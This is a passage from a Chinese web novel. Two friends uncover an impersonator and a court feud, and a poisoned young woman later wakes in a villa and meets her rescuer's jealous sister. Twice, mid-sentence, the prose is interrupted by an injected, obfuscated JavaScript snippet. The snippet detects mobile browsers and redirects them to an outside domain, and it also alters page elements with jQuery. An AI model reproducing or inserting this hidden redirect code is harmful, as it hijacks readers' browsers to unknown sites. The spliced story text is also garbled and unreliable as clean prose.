杜明堂自认跟他关系再好,也从未主动提及此人姓名,如今说起此名,他还忍不住发发抖掉掉冷汗。 “嗐,昀洲啊……你那个看似表弟实为亲弟……的弟弟?”他被自己这句绕来绕去的话逗地尬笑一声,“说起来我还没见过他长啥样呢。” “只要散出去我到朔州府的消息,他们无需看到人面,也会觉得关昀洲是我。”关阇彦道。 “关昀洲和你长得像不像?个子呢?” “个子差不多罢了,”关阇彦轻嗤了一声,“呵,我没想到关昀洲至今还记着那些仇。” “你说什么?” “除了他,还有谁能做得了这个探子?毕竟我爹对他满心愧疚,他做什么,我爹都会无限制包容,当然,他无用多年,我爹也不会信他有什么能耐,”关阇彦目光越来越冷,“关魏两家联姻的确切时间,我只提前告诉过他一人。他在第一时间把握消息,从而提前将布局的点子送出去。他既深谙岭阳局势,又与我爹走得近。除了他,还能有谁呢?” “关昀洲还恨你吗?”杜明堂觉得不可理喻,“虽然你小时候确实针对过他,但你也是受害者啊。之后你不也弥补过他吗?” “从小到大有什么好东西都得分他一半,联姻的好处却没能分他,心里觉得难受了?” 关阇彦眉梢压低,有些失望:“他这么多年来藏得如此深……怕是对我早有不满之心了,怪我养虎为患。” “坏了,我告诉你如果冒名顶替你的人就是他,那么他肯定是在去年秋末的时候就跟幕后黑手联手了,动了杀你的心啊!”杜明堂心急如焚,同时他还是不理解。 “不是,你爹再愧疚再容忍他,也不可能纵他随心所欲成这样啊!他肯定动了什么手脚,迷乱了你爹娘的神智?不对不对,毕竟不能把所有人都能迷乱,不少官员和贵族还是记得你的脸的。他是不是用什么邪术易容了?!但你又说这种邪术得剥皮……这这这!” “定是易容了,”关阇彦自嘲一笑,眼中冒着煞气,“说不定还会凭借这么多年来故意亲近我时学来的习惯,继续蒙骗旁人,我爹娘甚至也在内。所以全中晋都不会知道在偏僻的南禺,真正的安南都督已遭刺杀,也不会有人搬救兵来救人。关昀洲啊关昀洲……你竟恨我至此。” 他继续迈开步子向前走,问起杜明堂:“左老都督那边的战事如何了?还有,你到底怎么掉下来的?” 杜明堂这才从上一个疑题里脱身,心想,是了,他跟关阇彦又是急急忙忙救人,又是追探真假都督的真相,都没空顾得上他自己的事情。 他清清嗓子,将自己的见闻和经历都梳理了起来:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“知道了你的事后,我也觉得是有人要掐着点要害我,”杜明堂看着他,心里没底道,“会不会是因为关昀洲担心自己身份被发现,又知道我跟你走得最近,所以要害我?” “若是如此,他定会想办法先除掉我爹娘才对,”关阇彦道,“当然,关魏联姻一事全中晋已人尽皆知,风头紧,他即便想杀,也暂时动不了手。我得赶快回去阻止他。” “他这么着急得要除掉你,绝不可能仅仅是因为忌惮我。或者是……幕后黑手想先除掉我,于是急忙布下后面的局。” 要不然,为什么他一被暗杀,同一时间下,古溪村、盘龙山的黑衣人会如此猖獗?还有陆子礼,他怎么会突然进入盘龙山,获得秘术指引?包括现在,杜明堂为什么也开始遭到袭击? 幕后黑手明摆着想等他死了,再做下这些事。那家伙如此自信,目前是完全相信他已死亡的事实了。 关昀洲再恨他,都不可能有这样的手段,否则不会蛰伏这么多年没有动静,而选择在此时突然行动,宛若毒蛇。他的歹心被幕后黑手看清后被利用起来,他本人也被幕后黑手当成了隐藏存在的幕布。 他们二者开始狼狈为奸的时间,就应该在去年秋末。 他得再搞清楚幕后黑手在杜明堂身上下的什么心思。 “杜家有什么仇家吗?” “那……可多了去了,打起架来,从我家大门口排到京城城门外都不止呢。” 明明是不太吉利的话,在杜明堂这里,居然是值得骄傲得意的事情。他杜家赫赫有名,哪一个商人不嫉妒? 想来后面做生意太红火,也真真切切地得罪了不少商人。 “没什么特别的仇家吗?” “特别?”杜明堂思忖半晌,“在杜家没起来的时候,驰名京城第一的李家算吗?” “他们家啊最近不太平呢,整个京城都鸡飞狗跳的,我们杜家为了避嫌,近来都跟他们撇清关系了,吵架都不跟他家吵了。” “也是最近一两个月出的事情么?”关阇彦凭直觉说道。 “不准确。因为,这件事已经闹很久了,以后还会更久。”杜明堂抬起一根手指,左右晃了晃,感慨道。 72. 李周之争(2) 关阇彦扬了扬眉,对此事展现出了异常高的兴趣:“哦?” “此事说来话长,你听我慢慢道来,”杜明堂扬了扬脖子,竖起了他那正儿八经的贵公子风骨,清嗓道,“大概一个月不到前,我刚要出发去南禺,京城最大的妓院芳樱楼突起大火,死了几十个姑娘,当然最主要的是,李家的嫡子李如华死了,那可是李掌舵求了几十年神医求来的宝贝儿子,老来得子啊。” “老李掌舵就报官去了,结果闹到了吏部周尚书的头上。”杜明堂挤了下眉头,面露难色。 “到底是死了人,派了大理寺的一位叫陶明案的司直去查案子,查到案发当晚周尚书的一位庶子也在芳樱楼寻欢作乐。说来也巧,整座芳樱楼的人基本上都死光了,除了教坊司的几位女倌和几个龟/头伙计外,客人里就只有这庶子活了下来,不过毁了容,眼睛也瞎了。” “听说那庶子就是个流氓惯了的家伙,周尚书对他也都是不管不顾,估摸也不知道儿子出入过芳樱楼。那庶子太可疑,毕竟有人亲眼看到他满脸是血,逃跑时也瞪着一双血眼,手里还挥舞着一把带血的斧子,疯疯癫癫的,怪吓人,当晚吓煞了一帮过路人,只不过大家不知道此子竟是大名鼎鼎的周尚书的儿子。” “旁的官员一听此事,无不怀疑周子是杀害李子的凶手,但迫于威压,不敢说什么,也劝陶司职睁一只眼闭一只眼赶紧结案。” “结果这陶司直是个愣头青,当夜就撰了案呈,周家李家同时知道了此案涉案人员和案子的细节。” “有些意思,这位陶司直的确叫人钦佩。”关阇彦笑了笑。 “之后吏部尚书大发雷霆,连夜跑到圣上那边弹劾陶司直办案能力不行,圣上寻思着吏部尚书一把老骨头了,当朝这么多年也没犯过什么事。撇去陶司直,区区一个世代为商的李家,也没资格跟朝中官员斗,圣人就允他介入案子,也有意帮他老人家求情。” “这可不得了了,老李掌舵勃然大怒,但敢怒不敢言,后来听一位谋士指点,暗中调查周尚书,不查不知道,一查吓一跳。这位周尚书曾经联合礼部不少官员在考试过程中徇私舞弊,牵连的官员从京城排到朔州府再排到旁边的毫州府……总之多得数不过来啊。” 关阇彦听出了几分阴谋之论,不禁问杜明堂:“这种事情涉及的官员范围如此广泛,说明早就形成了交易链,越是做到后面就越是有恃无恐,就这么说查出来就查出来了?” “不好说啊,毕竟老李头这次是真下了狠功夫,不怕得罪人了,儿子没了,他都要疯了呢。还有,日子凑得近,二月份的春闱嘛,主考官刚好就是周尚书,比旧账好查很多。”杜明堂解释道。 关阇彦接受了这段解释,问他:“之后呢?” 杜明堂继续道:“老李掌舵查到了也不敢对外说,容易引仇,毕竟涉案的官员太多了,每一个都得罪不起。他没人依靠,只能求助陶司直,本来被弹劾得差点要放弃此案的陶司直一听就炸了,他是寒门子弟,行走官场,举步维艰,最听不得这些官员做毁人前程的脏事。” “陶司直又去找圣上,圣上勃然大怒,觉得陶司直无理取闹,但怀疑的种子已经种下了。外加陶司直以命相抵,求圣上批准他办案,若周尚书之事是真的,就算将功抵过了。圣上这就松口了,直接给了陶司直特权,但禁止他行事张扬,结案前不允涉及周尚书以外官员的利益,也不可让百姓知晓此事。意思就是担心那些官员暗中勾结,本意是好的,但也无形中给陶司直添了办案的压力啊。” “到目前为止才过了半个月,京城那边周家和李家官商相斗闹得厉害,全京城的百姓都知道周家人杀害了李家人,但并不知道其中周尚书徇私舞弊的暗事。陶司直也没牵扯到旁人身上,朝中文武百官还是只以为是李家死了儿子无理取闹,都帮着周尚书说话呢。” 关阇彦挑眉道:“周李的事怎么会牵扯到你杜家身上?” 杜明堂猛猛摇了摇头:“我怎么知道。不对啊,我也没说是李家……那不是你以为是李家想要整杜家么?” 关阇彦闷了闷声:“不对劲……这么多事情都在同一时间发生,怎么可能跟你杜家没关系。” 他又将注意力放在首要嫌疑人身上:“关昀洲呢?种种因素叠起来,存心害你的人只会是他。他在这场官商相斗的戏码中扮演了什么角色?” 杜明堂叹息:“看客。他什么都没做,天天在朔州府暂住的府邸与魏家宅院之间往返,筹备着成婚的事宜。” 关阇彦凝眸:“他就未曾去过一次京城?” 杜明堂顿了顿:“我反正没见他去过……但毕竟跟魏家定的是皇亲,你们关家也只有在京城购置的府邸,婚事多半在京城办吧,以后应该会去。” 关阇彦也没有头绪了,只好摇头道:“线索模糊,还得等去京城一探究竟。” “但。”关阇彦对杜明堂投射出富有同情心的眼神。 至此一眼,杜明堂就毛骨悚然地抖了抖:“怎么了?” “你不能活着回去了。” “啊?!” 关阇彦忽地笑了,笑得很不厚道:“放心,没人杀你。我的意思是你可以装死回去,就跟我一样。” 杜明堂摩梭了梭肩膀,哆嗦起来:“嗐,我也没怕什么!” “关昀洲铁了心觉得我已经死了,我都死了,他就更相信自己的手段了,你杜明堂一个手无缚鸡之力的弱白脸,肯定死得不能再死了。以我对那小子的了解,他绝对会这么想,一点点本事使出来,就得意忘形,觉得自己天下无敌。一点点仇记着,就觉得老天待他不公,以为自己可怜到已被世人针对,心狠手辣,任何污点都容不下。” 关阇彦冷笑几声,好似在嘲笑他这个弟弟的臭德行,他又道:“所以只有我们真的‘死’了,他才会更加得意忘形,脏事做得多了,马脚就露出来了,顺藤摸瓜,我倒要看看他背后的人是何方神圣。” 对此,他心里其实已有了怀疑的对象——黑衣人口中的“通仙大人”,但光从被邪术浸淫地魔怔的黑衣人的口中了解此人,还是太过片面了。 “有道理!要是我们好端端地回去,关昀洲一定会想方设法整死我们,麻烦太多了。”杜明堂认可道。 “你在南禺有信得过的人么?” “有啊,我们杜家为了做运茶生意,在这里培养了不少官牙。” “既然选择隐瞒身份回去,就不能靠杜家的名号办事了,南禺官府水深,所以问你的是有没有什么信得过的友人什么的。”关阇彦对他的回答不太满意。 “我的天,这我哪里有?!”杜明堂觉得不可理喻,他垂眸看了看自己这身华服,虽然脏了一点,但上面密集繁复的针黹却一点没残,略微用清水冲洗一遍,衣服便能焕然一新,还是很值钱的,他话音顿转,“不过……出门在外又不是只能靠朋友,靠钱才是王道。” 他嘿嘿一笑,指着身上这件墨色的衣裳道:“这可是宫里的料子,就是在南禺这穷地方,当一当少则五十两银子。” 他又翘了翘屁股,把蹀躞前后都展示给了关阇彦看,夸口道:“这个也是,真牛皮,光这一条裁缝就踩了月余,少则三十两。” “这个!”他撩起蹀躞上挂着的两只玉佩,“这个更不得了了!我爹帮宫里娘娘去南山采玉,特地为我留的上好冰种,请工匠打造了三个月,最后就出了这两块,一块雕的荷花锦鲤红阁图,另一块——” 关阇彦只觉得聒噪,打断了他:“总之雇车回中晋的钱是够了。” “岂止是够?!”杜明堂明白自己除了运气好以外的优点就是财大气粗。 “呵呵,我知道。”关阇彦被他逗笑了,无语的笑。 但也习惯了,杜明堂这人话其实不算多,只是小时候的事情让他对关阇彦产生了依赖,杜明堂就习惯性将许多话攒着,见到他人,就缠着骚扰他。 关阇彦对此不反感,也难得能在身边容得下这么个“话痨”。 “之前拜托你运山中尸体去古溪村的事情也不能交给熟悉的武夫或官牙办了,花点钱雇几个要钱不要命的打手,这种人多得是。” “行,要雇几个?” 关阇彦沉吟半晌,脑中挥之不去的是陆子礼的模样,既是雇人了,又不缺钱,不如再雇几个去禺山镇探探陆子礼。 很快,他就已安排妥当:“进盘龙山一个就行,但得够壮实,不怕死。日子我能算好,只要找到这个祭坛便万事大吉。叫他把孩子跟黑衣人的尸体来回几趟运到出山口。出山口找大概五六个人候着,当然这山里面邪门,别试图自作聪明从出山口返路,山里的黑衣人都不敢这么做,别的人就更不可能了。尸体到手就送到古溪村,顺便白天去郊外的密林,把剩余的黑衣人尸体也带走。” “我明白,你之前就说过了。”杜明堂一脸认真。 “再雇两个细心的,去一个叫做禺山镇的地方,找神医陆子礼。” “找他做什么?他谁啊?” 关阇彦自知一时半会儿解释不清,还是把重点放在处理问题这件事上。他随口道:“一个坑骗我们的骗子。” 是啊,陆子礼分明知道这山里面的古怪,对此却只字不提,表面上装得那么好,连他都差点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447415|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被骗过了。陆子礼浸淫邪术太久,他也许会听劝放弃治愈女儿,但却永远无法摆脱邪术的控制。或许又跟什么天仙有关,害怕他跟魏郁春知道太多,打算杀人灭口?果然,他就不该期盼此人会悔改。 碰了邪术的人,就不可能会悔改。 关阇彦记得拖印上关于“法器”的记载——“秘术所需之法器,遗落酆都罗山,凡取用者不可犯戒,犯戒者必携法器跪行至酆都罗山奉罪”,那时,他的注意力都在陆子礼自称所有换血器具都是自己做的糊话上,也没在乎秘术里的意思。 如今看来,若这盘龙山当真是酆都罗山的原型,法器就该跟黑衣人说得那样一直存放在祭坛之中,又怎么可能是陆子礼亲手制作的? “秘术所需之法器,遗落酆都罗山……” 他默默在心中咀嚼着这几个字眼,若有所思。 他快步走着,边走边说:“两件事。第一搜他的家,看有没有奇怪的瓶瓶罐罐。” 陆子礼既是窃取法器的人,关阇彦就不会相信他是不是真的在那一天亲手毁了它,也许是故意做样子给他看的,想着他跟魏郁春有去无回,他就能再偷偷做法……小孤女还在禺山镇,他要重新抓回来也不是没有可能。 杜明堂对他的要求感到疑惑,但也牢牢记在心里了。 “除了奇怪的器物,再去搜有没有用麻纸拓印下来的奇怪文字。” 陆子礼既是贼人,他就一定会换脸秘术,也会自留一份关于换脸的拓印古文。 而陆子礼所用秘术是换血术,若拿出来的古文与此不对应,他跟魏郁春肯定也会怀疑。 他自己用此术长达一个月,到底和换脸术不同,他将术法背得滚瓜烂熟也说不准,割舍起来也容易。 所以若是在他家中搜到另一份截然不同的拓印纸,就说明以上这些推测是完全成立的。 “那第二件事呢?” 关阇彦对黑衣人们的话耿耿于怀,他们身上天仙花的印记也给了他很深的印象。按照黑衣人的说法,只要会秘术,这个人的身上就一定会存在天仙花印记,还是凭空出现的,玄乎得很。 但世上哪里有没有任何根据就发生的事情? 陆子礼不同于这群家伙,他又会秘术,只要看他身上到底有没有印记,就可以知道印记是不是真的凭空出现了。 “搜身,扒光了仔细搜,看有没有黑色的类似于花朵的刺青印记,”关阇彦又补充道,“手上沾水,狠狠搓,搓掉一层皮后再找印记。” 杜明堂轻“嘶”一声,忙道:“这么狠?又搜家又搜身,那陆神医把你得罪了?” 他很清楚挚友这睚眦必报的性子。 关阇彦很乐意接茬儿,眼里黑雾似的煞气直冒腾,笑得也怪瘆人:“是啊,他可把我得罪惨了。” 杜明堂起了一身鸡皮疙瘩,快速跟着他跑,也警告他:“你别笑了,真的吓人。” “雇人的时候用假名,”关阇彦提醒他,“我记得你们家在京城边上有避暑的宅子吧?暂时先不进京,等修整好了再说,以免走漏风声。” 杜明堂咯咯一笑:“放心,保证办得妥妥的。” “不过,”他很快又为难了起来,“你背上这小女娘说要你给她家里捎银子,这个困难,办事的毕竟不是熟悉的牙人,把银子给了那些雇来的打手也保准会被吞的。” “等到了宅子后,你可以叫你杜家的心腹去办事,不过就是要晚一段时间。”关阇彦不假思索道。 “那也是,赶在夏税前就行对吧?” “顺便叫你心腹探探为何南禺夏税为何如此冗沉,”关阇彦从进古溪村后就在意这件事了,“尤其是古溪村,此地茶税不太寻常,必有贪官污吏。把人的名字一个一个给我记下来,往后慢慢伺候。” “行吧~”杜明堂打量着关阇彦的神色,眼神又扫了扫靠在他背上的魏郁春,意味深长地叹了一声,尾音拖得老长,深怕不让人知道他在胡思乱想。 关阇彦洞悉他的心境:“别胡思乱想,只不过是还人情罢了。” 魏郁春几番不要命似护他的举动,在他这里,已被当成了需要认真对待的恩情。 “真的不喜欢?”杜明堂不死心。 “不喜欢,也不能喜欢,”关阇彦正色,不像是开玩笑,“你知道的我的秘密不少……” 关阇彦顿了顿,明显心情很沉重:“尤其是我爹的事情,你难道还不明白吗?” 杜明堂自知玩笑开得过度了,他旋即敛色,惭愧道:“是。” 关阇彦摇了摇头,神色冷峻:“我不可能走我爹的老路。” 73. 浮想联翩 三日后,魏郁春被送到南禺当地的诊所,放了集聚在四肢的毒血,但此地医术落后,即便解毒,体内却还残留了不少余毒,幸好又帮她拖延了一段时日。 又过了大半月,魏郁春一路上醒醒睡睡,关阇彦与杜明堂快马加鞭,好不容易带她回到了京城远郊,此时时间已久,她显然又撑不住了,一下子昏了三四日。 魏郁春自晕倒后便不再记事,起初她还能在一度昏沉的世界里,觅取些许通向外界的角落。在这里,她跟在外的关阇彦抑或是那个陌生的人存在着一道朦胧的界限,虽听不到他们在说什么,却能清楚地感觉到他们不同声线的碰撞。 尤其是关阇彦的声音,她会因此感到安心,然后选择静静呆在那个昏沉的世界等待被拯救。 她对他产生了依赖,享受那种借风而行的快感,她觉得这就是喜欢,所以听由错误的判断将她拽入更难抽离的深渊。 后来,他们不知道把自己带去了什么地方,一路颠簸不断,她也不知道自己是以什么姿势在波浪般的环境里奔走。 她昏沉不断,她以为自己脚步虚浮,腰上被绑住了绳索,有人拽着绳索的顶端,不停地上拉下松,她因而会在悬空的世界里上下起伏、晃来晃去。不知过了多久——在这片昏沉的世界里,她没有掌控时间的能力。周遭的种种皆归于平静,死一般的平静——她的知觉被重新唤醒,背部平躺在一处软软的地方,好似是床榻。 眸子动了动,也能感觉到外面阳光投入窗棂后那般朦胧却也炫目的感觉。很快,她便睁开了眼,却发现床边陪着的是一个全然陌生的女子。 那女子也察觉到了她的目光,但却不高兴搭理她。 那女子穿着一身绣着金边的玫瑰色软纱裙缎,头发梳的是朝云近香的款式,由一对镶嵌着紫粉蝶的长银簪点缀着,是少女的发髻。此女容眉明目,腰间系着搭配磬结的软穗宫绦,掐着腰,一副汉人窈窕贵女的模样。 魏郁春晕的时间久了,记忆好似还停留在南禺盘龙山下的祭坛,所以不明白为何眨眼间身边就出现了这位中晋贵女?她张望了望四周,又不见关阇彦的身影,难免焦躁,急火攻心下来,她猛咳了几声。 那贵女对此毫不理会,只是冷哼一声,秀眉拧立,却不刻薄,是自幼娇惯多了后少女的娇憨之态。虽谈不上让人觉得厌恶,但也给人不太好亲近的感觉。 贵女冷道:“别找了,我哥哥还有彦哥哥都出去办事了,晚上才能回来。” “哥哥?”魏郁春明白自己寄人篱下的境遇,只好放下架子,小心翼翼地问她,“敢问小娘子……你哥哥可是关贤齐身边的那位公子?哦,那位关公子是我一个友人。” 她虽昏迷久了,却还记得在盘龙山祭坛之穴内的事情,也记得杜明堂的模样,她听此女如此称呼,又感觉她的确跟杜明堂有五六分眉眼上的相像。所以,她才会如此问此女。甚至还怕对方会错她的意思,特地补充了一句“友人”之言以证身份。 屋子内前后皆安着透风的格子木窗,外面林荫丛生,还有连绵不绝的蝉鸣声。一阵风鼓来,摇动树影,在屋子内抖落了一地阴翳,溢出阴翳的光点梦幻地好似夜晚里忘记收回的星辉。 屋内很是清凉,魏郁春身下的塌也铺着上好的竹席,摸着冰冰凉凉,即便躺久了也不会将其捂热,顶多只一点暖意罢了。但即便铺着竹席,床榻却还是软得不像话,比冬日的暖被还甚之。可见造价不菲。她前世在魏家都不曾见过嫡姐抑或是父亲用过这样好的席子。 她微微瞥过窗外几隅景色,这里格外僻静,宅子也大,周边却没有任何邻居。屋内陈设雅致简朴,看着就叫人心境娴静,刚好配合着屋内的清凉。若她没猜错,这里应是某个大户人家置在城外抑或是山上的避暑宅子。 宅子中的贵女背着身,提着一只紫砂金边壶倒茶,听到了她的话,手剧烈晃动,一盏茶全部撒了出来,溅了一身金贵的衣裳。 贵女不再矜持,撑着桌案摇过身来,浑身充斥着敌意,死死凝视着魏郁春,毫不客气道:“关贤齐也配是你这等货色叫得出口的?!” 魏郁春讶然,她还没反应过来,又听贵女言明身份。 “我哥哥是京城富贾杜家之子杜明堂,我是他的亲妹妹,杜明茜。而彦哥哥则是——” 眼看她那嚣张的神色越发起劲,到了最关键的地方却突然住了口。她脸上突起红潮。 她年纪不大,自幼在父兄、母亲的宠爱下长大,又未曾见过什么大风大浪,很容易口无遮拦。关阇彦是杜明堂的挚友,自然也清楚她这一要命的缺点。 他蒙着当时昏迷不醒的魏郁春,不告诉她自己的身份。可事到如今,他也不可能再继续蒙下去了。 即便是要解释,那也等他亲自跟她说明,哪好叫外人掺和一脚进来? 阿茜又是个事事都爱张扬的性子,白的都是说成黑的,别到时候说错了话,给他招黑。魏郁春性子沉稳又敏感,关阇彦即便诚心解释,跳进黄河也洗不清“罪孽”。 所以,关阇彦今日跟杜明堂出门前,做的第一件事就是嘱咐杜明茜不可暴露他的身份。 杜明茜常常跟着哥哥杜明堂出去见世面,自打见了关阇彦第一眼后就无法自拔,现在眼光恨天高,谁都瞧不上。今年春上又听到“关阇彦”要成亲,在家里闹了好几天,扬言及笄后就去尼姑庵出家。总之,她如此骄纵的贵女,爹娘、哥哥的话都不听,却极爱听她“彦哥哥”的话。 昨日傍晚关阇彦跟杜明堂刚秘密驱车赶到京郊避暑宅,他们两个如今都是“活死人”的境地,没有路引又进不了城。 为了给魏郁春请京城顶好的医工,杜明堂只好让宅子里的下人帮他带书信进城,此书信只可交给杜明茜看,因为京城周李相争,众人的目光如炬般紧紧盯着京城数一数二的富贾之户,其中最主要的就是杜家掌舵夫妻二人。 若他们二老知道儿子跟安南都督的现状,第一会怀疑,毕竟正常人都信此事,第二会担心,为了证实信中言语是否真实亲自驱车出城。这可糟了。 所以,杜明堂直接选择了自己那个人傻天真的妹妹当对接人,信里还特意提了关阇彦一嘴,好让妹妹上心。杜明茜见传信人又是自家下人,二话不说就照着信上的事做了——通人脉寻一位京城善解毒的医工,隐蔽行踪秘密出城,带到杜家在郊外二坊山上的避暑宅中。 于是,昨晚,魏郁春的毒便被解了,那位医工被限制了行踪,只能陪同魏郁春住在山上的避暑宅子里,必须等杜明堂“假死”的事情过去后,他才能被放行。 昨晚,杜明茜见着了关阇彦,满眼绽放的光彩恨不得顷刻让夜晚变成白昼,盯得人发慌,关阇彦这样一号天不怕地不怕的人物,都认为每次见挚友的妹妹,都是一场巨大的挑战。 杜明茜仔细跟他们二人交代了出城时的计划,说她本来跟一帮贵女计划好了要去春桃酒楼玩耍,后来为了出城便推拒了,还特地在外面散步了自己会去酒楼的消息,就连爹娘都信了。因而就更没人知道她出城的事了。 关杜二人一听,皆觉得杜明茜长进了许多,有了心眼,做事叫人放心了许多。 但与此同时也招来了杜明茜的不满。 本来她千辛万苦寻医工,是以为自己的彦哥哥中了毒,不惜费重金通人脉,又婉拒了能与众位才女、贵族之女、朝中大臣之女共同游玩的机会——这可是她好不容易求来的机会!千载难逢!结果死也没想到是请来救一个素未谋面的女子,那女子偏偏也生了一副惊人的漂亮面容,因为跟她见过的周围的中晋京女不同,便更显得她美得突出。 这势必会让杜明茜有危机感。 一个魏家嫡女就够遭人烦了,现在居然又招来一只艳桃花?!她恨不得当场咬住帕子,将其撕碎。 当然后来,关杜二人也跟她解释了当下关阇彦遭人顶替,还有杜家遭人陷害之事,当然没有说得特别详细,只当是敷衍一下,好获取杜明茜的信任。 杜明茜听后当然也感到害怕,并保证死守秘密——她虽性子骄纵又口无遮拦,但也仅仅是在小场面上会闹的笑话。面对严肃大事,她却从未怠慢过。 害怕归害怕,但她很快想到关阇彦没有真的跟那魏家的嫡女成亲,心里又忽然好受了些。于是,她才会把所有的不满全部集中发泄到魏郁春身上,只要对方有一点不让自己顺心的地方,她都会马力全开,对之炮轰。 这不,魏郁春本意证明自己跟关阇彦关系的话,在杜明茜耳里就是故意惹她醋意大发的举动。尤其是那句“关贤齐”,这是关阇彦的小 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杜明茜心高气傲,但心性不坏,脾气来得快也去得快,本来要挪步离去,却听到魏郁春问她:“彦哥哥是关贤齐么?” “哼,我劝你别再惹我了,彦哥哥不让我说,我是不会告诉你的。” 杜明茜朝她吐了吐舌头,雪颈上挂着的如意项圈跟着她的动作晃了晃,调皮得让人头疼。 “不过,我不允许你再喊彦哥哥这个名字!这可是他的小名,岂是你要叫就能叫的?!” 她前头说保密,后头就不小心说漏了嘴。这下破功,她偏偏还没意识到。 这也让魏郁春逮住了机遇,也看清了少女并非真心恶人,只是因为一些不可言说的因素对她有意见而已。 话说……关贤齐这个名字原来是小名……想着想着,魏郁春老脸一红,她匆忙瞥过去,佯装身体不适,栽回了竹席上。 女子有闺名,男子么也是有乳名的。在魏郁春眼里,贤齐之名便是关阇彦的乳名了。不过“贤齐”这个乳名也蛮特殊,跟其他孩子的大有不同。 所以,若他要隐瞒身份,大可信口胡编一只名字来,何必用乳名充数?总不能只是为了方便吧?他头脑灵活,编一只名字能有多费事? 那他到底是什么意思?平白无故地让一个女子唤他的乳名,他又不是那种太有恶趣味的人。魏郁春越想越觉得心口燥热,浮想联翩,最后得出一个结论——难道他也喜欢她吗?不然为何对她这么特殊? 她还没意识到自己已经浑身红烫,活似刚从熔炉里抬出来的,把一旁的杜明茜吓了一跳,立马跨门出去喊住在另一只屋子里的医工来给人瞧病。 幸好最后没发现有什么毛病,杜明茜一脸着急,起初臭脸的模样不见分毫。 即便是为了关阇彦担心她,魏郁春也觉得心满意足了。想到此处,她心中又微起涟漪,好似舌头下藏了酸枣,惹得她浑身扭痒,偏偏又不可将其表现出来,那就更难忍了。 用了午膳后,魏郁春终于忍不住了,于是忐忑地问起杜明茜:“你喜欢那个……彦哥哥?” 说实话,她本身就是个内敛的人,跟杜明茜完全相反,“彦哥哥”这个暗含亲昵的称呼叫在嘴里总令她感到赧然,但没办法,关贤齐她不能再叫,也……不太好意思叫了。但奈何杜明茜好似不愿跟她说话,她也无法套来关阇彦的真名。想来想去,也就只好等晚上人回来了,她再亲口问他。 整个宅子里住着几个家丁、一群扈从侍卫和一个医工,女子唯有魏郁春跟杜明茜二人。医工是男子,不好近身,杜明茜得时时刻刻盯着魏郁春,毕竟那毒厉害,万一有余毒还没清除就不好了。所以尽管杜明茜再不愿意,也得跟魏郁春同吃同住。 一只茶案上,二人对坐,硝烟于无形中升腾,杜明茜细嚼慢咽,一眼都没抬向魏郁春。此事魏郁春主动挑话,她才兴致缺缺地蔑了她一眼,腔调傲慢地哼了一声。 虽然她不想搭理魏郁春,但毕竟关乎关阇彦,她还是说了话:“自是,我很喜欢,喜欢得不得了。” “怎么,你也喜欢?”她翻了个白眼儿,心想此贱婢好大的胆子,竟敢这么问她话。 魏郁春虽想否认,但话还没出腔,脸便又红了。 74. 倾心以寄(1) 杜明茜早就不上她的当了,方才她浑身又红又烫,她吓得赶忙请医工来看,结果一点事都没有。 所以,她自是明白魏郁春是因为关阇彦感到了羞涩,那可真是难得,她本以为此女脸皮比墙厚呢。 见魏郁春一直不答话,杜明茜应上去:“行了,你不答我也知你打的什么主意。” 她摆了摆雪白的脖子,金色的如意项圈晃了晃,风致嫣然,嘴边的笑容分外明媚:“彦哥哥还未成亲,他只能是我的,你,别想。” 魏郁春虽心有醋意,但听杜明茜如此招摇,反而生不出更强烈的醋意了,她是没办法将其当作所谓的竞争对手的。因为杜明茜宣誓主权的行为在魏郁春眼里,更像是一个未经世事的小孩子在跟她抢夺心爱的珍宝或是玩具。 她觉得,杜明茜对关阇彦更多的应是仰慕,她年纪又小,才及笄的年华,遇到的关阇彦却显得太过优秀,光芒把其余人都盖住了,她眼里只能看到他。世上言说于口的情爱多是一生一世一双人,小丫头一听觉得自己对关阇彦的感情也是如此,就理所当然地觉得自己是喜欢了她的“彦哥哥”。比起喜欢,更像是依赖。 可想到此处,她自己却忽然恍住了,为何……她也觉得自己也是这样对待关阇彦的呢? 比起喜欢,她更像是在依赖他,或许还将此错当成了爱情。 当局者迷,旁观者清,这个道理她无不明白,可要深入考究下去,仅凭一时间的恍惚是不够的。 她慢下心神,还是希望自己可以慢慢确定她对关阇彦的心绪。 她又想到关阇彦口中提及过的未婚妻,又看到杜明茜如此笃定的模样,不禁问她:“难道你便是他的未婚妻?” 她觉得这不大可能。杜明茜怎么看都无法跟“未婚妻”一词挂钩。 杜明茜得意的笑容僵住了,提到那个未婚妻她就浑身不痛快,立马驳道:“彦哥哥的未婚妻都快跟别人成亲了,有跟没有,有区别吗?” 魏郁春见她起身。 “我吃好了,你继续吧。” 估计是这个话题戳痛了她,她走前还忿忿不平地加重了踏步的力度,整个人浑身都好似冒着火焰。 清风四溢的屋内,唯魏郁春还端坐原地,反复回忆着杜明茜的话——“未婚妻都快跟别人成亲了……” 难道关阇彦被人背叛了?这是为什么,世上会有比他还惊绝的男子么?若是有,她也不会对此多在意。 所以,他现在还有未来都只会是一个人了,那她也有机会了。她可以再随心所欲一些,大大方方地把自己的心思表露出来,而无需像之前一样躲躲藏藏,活似见不得光的老鼠了。 真的可以这样吗?她虽不会对同样仰慕关阇彦的杜明茜产生敌意,但她却无法忍受有别人可以和自己共享那份喜欢。 她会讲究先来后到,先前有未婚妻这只阻石挡在前头,她会警告自己收敛心性,若是真心难收,那便藏起来当作回忆,珍藏一辈子好了。 她之所以随心所欲,是因为抵不住人心的贪欲,既是未婚妻,那喜欢的人便还未被真正地夺走。 她若知结局无法更改,那也选择一边隐瞒心绪,一边装作若无其事的样子,努力将现在身边能抓到的快感收拢起来。 抵不住诱惑便抵不住,她在这一方面绝对认命。 现在阻石不见,机会到来,她心中好似有一头小鹿顶着犄角四处狂奔,而她无法将之表露于面,越忍越心焦。 